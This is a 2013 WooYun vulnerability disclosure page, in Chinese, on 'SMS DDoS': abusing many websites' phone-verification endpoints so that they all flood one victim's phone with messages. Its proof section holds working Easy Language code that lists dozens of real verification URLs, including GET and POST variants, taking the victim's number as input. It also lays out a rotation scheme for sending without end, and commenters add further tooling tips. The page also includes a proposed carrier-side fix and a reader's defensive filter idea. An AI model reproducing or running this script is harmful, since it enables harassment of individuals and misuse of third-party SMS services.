当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-028078

漏洞标题:重灾区之短信洪流无法控制(短信ddos实现方法)

相关厂商:广大厂商

漏洞作者: 李白

提交时间:2013-07-07 14:07

修复时间:2013-07-07 14:07

公开时间:2013-07-07 14:07

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-07-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

随着移动端与PC的渐渐融合,也为了保证用户的可靠性,流量的质量,越来越多的网站实行了一个策略,那就是将手机验证码发至用户的手机上。在Wooyun常常可以看到这些东西的绕过,以及这些东西的滥用——短信DOS,给用户造成极大的不便,厂商也对此积极修补(也许是因为中国移动是按条数收费吧)但这个是否是最可怕的呢,不,最可怕的不是DOS,是DDOS,这种东西,不是厂商所能控制的。

详细说明:

先上两张图

SCR_099.png


SCR_100.png


好了你们懂我意思了,没错,就是用各个网站的验证码,来同时发给一个手机,那样既是网站所认可的,网站所允许的,对于单个网站的发送也是有过之而无不及。

而更加揪心的是对此毫无反抗的方法,传统的垃圾短信等阻断器都是利用数据库或者是敏感字眼进行过滤,而为了保证用户的体验验证码类的是不会拦截的。http://zone.wooyun.org/content/4912这种情况我们可以手动添加10086作为拦截目标,但是如果是用上千个网站上千个号码进行攻击呢?手动添加肯定是来不及的。更况且不断的短信占用极大系统资源弹窗执行其他操作是很困难的。而关机或者飞行模式只能换取短暂的安宁,因为短信未能发送到手机会暂时停留,待手机能正常通信之后依旧发送到手机。而全部拦截的软件应该是没有,就算有也只有极个别应用商店才会有。
这种情况,也就是说,假如攻击者一直这样攻击,被攻击者是很难有招架之力的。上几个月“呼死你”有威胁他人的情况,我相信这个方法的危害堪比“呼死你”

漏洞证明:

下面讲讲如何制作
首先,我们找到一个有手机注册功能的网站。
这里我用NC抓包,然后发送短信验证码
发现moblie=XXXXXXXXXXX
这个XXXXX就是你在网站输入的手机号
然后这里我们就搜集了一条,继续去其他网站搜集,注意这里有些是post,有些是get
搜集完了之后,我这里用易语言,支持国产语言。。

.版本 2
.支持库 internet
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://” + 删首尾空 (编辑框1.内容) + “.12530.com/user/querypwd.do?phonenumber=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300928232310891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300932302133891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300923212323891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300942433110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.dbank.com/app/wap/captcha.php?mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300942424110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery1640829300923223110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://my.b2b.hc360.com/my/turbine/action/company.RegisterAjaxAction/eventsubmit_dosendverifiycodesms/doSendverifiycodesms?receiver=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930042421210891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930424249110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery164082930042449110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://my.b2b.hc360.com/my/turbine/action/company.RegisterAjaxAction/eventsubmit_dosendverifiycodesms/doSendverifiycodesms?receiver=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery16408293023239110891_1326548812739&mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://passport.soufun.com/ajax/ajaxmobilecode_v3.aspx?mobile=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://user.himovie.net/AjaxPro/Ajax.ashx?action=RegSendCode&phone=” + 删首尾空 (编辑框1.内容))
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)
HTTP读文件 (“http://wap.mail.163.com/reg.s?regtype=mobile&method=registerMobile&mobile_num=” + 删首尾空 (编辑框1.内容) + “&password=asdasd&password2=asdasd&action=提交注册信息”)
HTTP读文件 (“http://www.egu365.com/member/js/sendMobileCode.jsp?phone=” + 删首尾空 (编辑框1.内容) + “&r=1019.7334977874661”)


这里的编辑框1.内容就是手机号了,这里放出部分地址供大家参考。
然后是post的

.版本 2
.局部变量 POST地址, 文本型
.局部变量 POST数据, 文本型
.局部变量 a, 文本型
.局部变量 b, 文本型
.局部变量 c, 文本型
.局部变量 d, 文本型
.局部变量 e, 文本型
.局部变量 f, 文本型
POST地址 = “http://www.istudy.com.cn/incpage/AxMember.html”
POST数据 = “Mode=4&Mobile=” + 删首尾空 (编辑框1.内容) + “&UserID=0&rnd=0.232398880064155” + 到文本 (取随机数 (11, 99))
a = “http://passport.kongzhong.com/safebyphone.do?sbp=tobindsafephone”
b = “idcard=3704811993070638” + 到文本 (取随机数 (11, 99)) + “&safephone=” + 删首尾空 (编辑框1.内容)
c = “http://mp3.easou.com/dg.e?l=2ld.1&esid=nq-aHZcGWms&wver=c”
d = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E8%A2%AB%E7%88%B1%E5%87%BA%E5%8D%96%E8%A2%AB%E6%83%85%E6%89%93%E8%B4%A5-%E6%9E%97%E5%86%B2&esid=nq-aHZcGWms&id=6985089&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
e = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E6%9D%A8%E4%B8%9E%E7%90%B3-%E9%9B%A8%E7%88%B1-%E5%8D%8E%E4%BA%BA%E7%BE%A4%E6%98%9F19&esid=nq-aHZcGWms&id=3867344&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
f = “phone=” + 删首尾空 (编辑框1.内容) + “&name=&content=&song=%E7%88%B1%E7%9A%84%E4%BE%9B%E5%85%BB-%E6%9D%A8%E5%B9%82&esid=nq-aHZcGWms&id=3889055&submit=%E9%80%9A%E8%BF%87%E7%9F%AD%E4%BF%A1%E5%85%8D%E8%B4%B9%E7%82%B9%E6%92%AD”
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)
彗星HTTP读文件 (a, “POST”, , , b)


最大的伤害我觉得是这样的,由几家存在发送漏洞的网站(即可无限发送)不断的提交,然后其他的网站分为几组,每组发送完之后做延迟处理,然后其他网站一轮下来之后之前的组所给的限制时间已经到了,那就继续发送,这样永不停歇。
当然也有网站是通过电话播报验证码的,一个方法。。

.版本 2
.局部变量 a, 文本型
.局部变量 b, 文本型
a = “http://www.m3.cc/url.php?class=check”
b = “action=validphone&MemberMobile=” + 删首尾空 (编辑框3.内容)
彗星HTTP读文件 (a, “POST”, , , b)


修复方案:

这个修补办法的话,我觉得可以让CNVD联系中国移动、联通,做一个统一的短信接口,让同一个号码,在比如规定60秒之内,只能使用一次接口,多余的全部作废。
也许做起来需要大量的精力和财力
但是
真的
随着互联网的发展速度,这是不得不考虑的一个问题。
以后补会越加麻烦。
千里之堤毁于蚁穴,更何况,这不是个蚁穴。

版权声明:转载请注明来源 李白@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评论

  1. 2013-07-07 14:10 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    哇靠,好狠心的剑心。8分还不雷劈。

  2. 2013-07-07 14:26 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    有些厂商的接口真是权限太大了,发短信都没限制,移动那边怎么给办的..xsser给了15分,好爽啊..还有,很佩服洞主用e语言的勇气..

  3. 2013-07-07 14:34 | 汤包998 ( 实习白帽子 | Rank:62 漏洞数:12 | 木有)

    短信轰炸机就是这么来的~这样屏蔽垃圾短信的软件才能有市场啊~未来的短信就会跟现在的电子邮箱一样~各种垃圾邮件漫天飞~

  4. 2013-07-07 14:47 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @李白这东东厂商都不认为是安全问题~~~一般网站都有对同一手机号进行限制,也就是说一般最多只能来五轮左右,然后当天就不能在发送了,具体威力取决于你手头肉鸡的多少(网站),不过现在属于一找一个准的时候~~~对着乌云的厂商列表找,很快就能找到三十几个,我这还在测试具体影响,居然有人发了,擦,这东东配合某些厂商的信息泄露漏洞就给力了,嘿嘿,有空出个工具?我这用C++写好麻烦~~其实有个更简单的利用方法,花几十去国外买个VPS,扔上面用butp suite的intruder跑就行啦,不过总有种会玩脱的感觉~~~~

  5. 2013-07-07 14:53 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @基佬库克 这个移动不会管,如果以条算钱的话,他巴不得你多发,如果是包月~~~

  6. 2013-07-07 14:58 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处,有意的富婆请联系我,五万以下...)

    仔细看看易语言的语法,还真是有意思,trim==删首尾空彗星HTTP读文件是某第三方类库么?还有取随机数。。好玩,没有感情色彩,就是觉得好玩。另,这个东西,在权限足够大的智能手机平台下,使用特征识别,是可以进行防范的。短信轰炸的时间特征为短时间内收到大量短信短信轰炸的内容特征为收到的短信中多含有“验证码”、网址其形式特征多为短信平台号所发(即1069xxxx而非我们常见的138/188/186等十一位数字的形式)。伪代码形式的过滤方案:int thresholdValue //短信阈值int thresholdTime //时间阈值while smsMessages.num in some seconds >= thresholdValue{ time timeStart; //do check; while(smsMessage newSMS in && time timeNow<=timeStart+thresholdTime) { if(newSMS.content include "验证码" || newSMS.content include "HTTP" || newSMS.phoneNum.firstFourNum=="1069") filter newSMS;//throw into trash box }}设置阈值:时间阈值:预计一次侦测到短信轰炸后过滤的持续时间,超出则停止过滤短信数量阈值:预计短时间内(3-5s)侦测到的短信数目阈值,超出则视为受到洪水攻击该方案有个缺点,就是从开始攻击到侦测出受到攻击会有几条“漏网之鱼”,即会有不被认为是攻击短信的攻击短信出来,但是如果时间设置的比较短(3-5s或者2-3s),阈值设置合理的话,漏掉的短信应该在十条之内,尚在可以容忍的范畴。实在觉得不能够忍受,可以考虑两种曲线解决方案:1.短信回溯,侦测到短信后回溯一些已经收到的短信,遇到符合过滤条件的短信过滤之。下策,用户体验很差。2.设置一个全局的短信暂时拦截机制,把所有的短信平台短信都暂时拦截下3-5s,如果3-5s后没有达到短信DDOS的判定条件,则将其下发给用户,用户收到短信,前后相差三秒,影响并不大,中策,算不得上策,毕竟一定程度上影响了用户的体验(接到正常短信平台的注册短信也会慢下三秒左右)菜比没想到上策该方法需要较高的系统权限,可以继承进诸如手机管家,短信通之类的安全服务软件中。最后,欢迎交流讨论,求个组织,离开好久,回来找不到组织了。。。QQ50142495@xsser @李白

  7. 2013-07-07 14:59 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处,有意的富婆请联系我,五万以下...)

    @xsser 为啥我辛辛苦苦打的格式都没了?代码缩进都一个空格一个空格的打的啊。。。。

  8. 2013-07-07 15:08 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @CCOz 在测试TX的时候,被当成CC攻击drop掉了,所以觉得可以在安全设备上做防护,这样不用改网站,也不影响现有的业务。

  9. 2013-07-07 15:10 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @CCOz 话说回复能用<pre>么</pre>

  10. 2013-07-07 15:14 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处,有意的富婆请联系我,五万以下...)

    @chuan 可是洞主的这个不是多台肉鸡对一个网站发起同一个号码的注册请求,而是多个不同的网站向一个手机发送请求,每个网站只收到一条短信,根本没法判断是否是CC啊。。。看洞主截图,五花八门哪里都有

  11. 2013-07-07 15:15 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @CCOz 嗯,十分好的想法。大牛~嘿嘿,已经加你QQ了

  12. 2013-07-07 15:16 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处,有意的富婆请联系我,五万以下...)

    @CCOz 说的有点乱了,就是轰炸机向多个不同的网站发送注册请求,最后验证短信都发到同一个手机上去了。不同的网站通过短信平台发送短信想必在移动那里也不止一个地方一台或者几台设备吧。。。

  13. 2013-07-07 15:19 | CCOz ( 路人 | Rank:22 漏洞数:7 | 本人还是处,有意的富婆请联系我,五万以下...)

    @李白 没有你厉害啊。。。真心只是个菜鸡

  14. 2013-07-07 15:22 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @CCOz 我哪说得不太清楚,我被drop主要是因为对网站发送的请求频率太高,intruder默认是0,所以才被drop,改为1000后就不会,而且drop是跟IP绑定的,灰常恶心,我是觉得可以在这方面搞搞,这样搞也比较简单,而且只要对短信发送那个页面做防护就可以了

  15. 2013-07-07 15:26 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @CCOz 我觉得主要还是责任定位的问题,如果是移动的,那在移动那做防护,如果是网站的,就在网站做防护,具体防护其实不难,qq速递那个发送短信的就是个例子,跟账户绑定,你也没法多发~~

  16. 2013-07-07 15:47 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    @chuan 单单网站处理肯定不行的,多网站,多代理,多账户就比较棘手了..最好移动那边,对所有106打头的维护一下,凡是通过这个接口的,两次之间无论是同一个商户还是不同商户都必须有一定间隔..

  17. 2013-07-07 15:47 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @基佬库克 嗯我就是这个意思

  18. 2013-07-07 15:48 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @chuan 有些时候不做强制性的东西很难解决根本问题

  19. 2013-07-07 15:54 | 熊猫 ( 实习白帽子 | Rank:64 漏洞数:33 | panda)

    XDDD

  20. 2013-07-07 16:07 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @基佬库克 这个想法很好,但就比较不现实了,首先移动肯定不会鸟这事,想想垃圾短信你就懂了,其次真这样做防护,那用户体验肯定会很差,特别是对流量大的网站,安全在一般情况下必须为业务让路,所以不怎么可行,这样做网站方会不满。还有一点,我发过几个这样的问题,都不被认为是安全问题,所以网站也不会鸟,这个主要对被攻击的用户影响大,对厂商那边影响小,而且一发就那么多厂商,也不好确定责任人。所以我的想法是,这个问题应该由网站方解决,就跟解决短信DOS那个问题一样,不过这样肯定没法解决这个问题,所以目前属于真空期,无解,估计得等出攻击软件,再等熊孩子造成几个有影响的事件(比如半夜来个全城广发),那时才会得到解决

  21. 2013-07-07 16:15 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @chuan 其实工具已经有了,而且是个很大的数据库。至于这个我觉得不会对厂商造成影响,因为他是一个接口对一个号码的限制,一个号码在60秒之内不太可能在第二个网站又用手机注册,而且就算又要注册了,60秒绝对是不影响用户体验的。至于移动的问题我说了,随着互联网的发展速度,这是不得不考虑的一个问题。以后补起来会更麻烦,那是他们的事情。

  22. 2013-07-07 16:29 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @李白 我这个其实是基于移动不理的情况~~~移动做处理那肯定能解决问题的

  23. 2013-07-07 16:34 | chuan ( 路人 | Rank:22 漏洞数:9 | 小菜一个)

    @李白 这样的数据库维护起来麻烦啊,有些网站会话过期后就没用了~~~

  24. 2013-07-11 15:06 | Black Angel ( 普通白帽子 | Rank:163 漏洞数:35 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)

    @李白 好厉害的,!

  25. 2013-09-01 12:12 | 丁崽 ( 路人 | Rank:5 漏洞数:1 | 没有)

    攻击本来就针对骗子,你真tmd高尚,搞出来了以后大家都没得玩!

  26. 2013-09-01 17:30 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

    @丁崽 第一我只说明了原理,第二你作为一个白帽子不该说出这样的话.

  27. 2013-09-05 20:36 | 小九 ( 路人 | Rank:16 漏洞数:5 | 非尖刀小九,民间草根)

    @CCOz 用了模块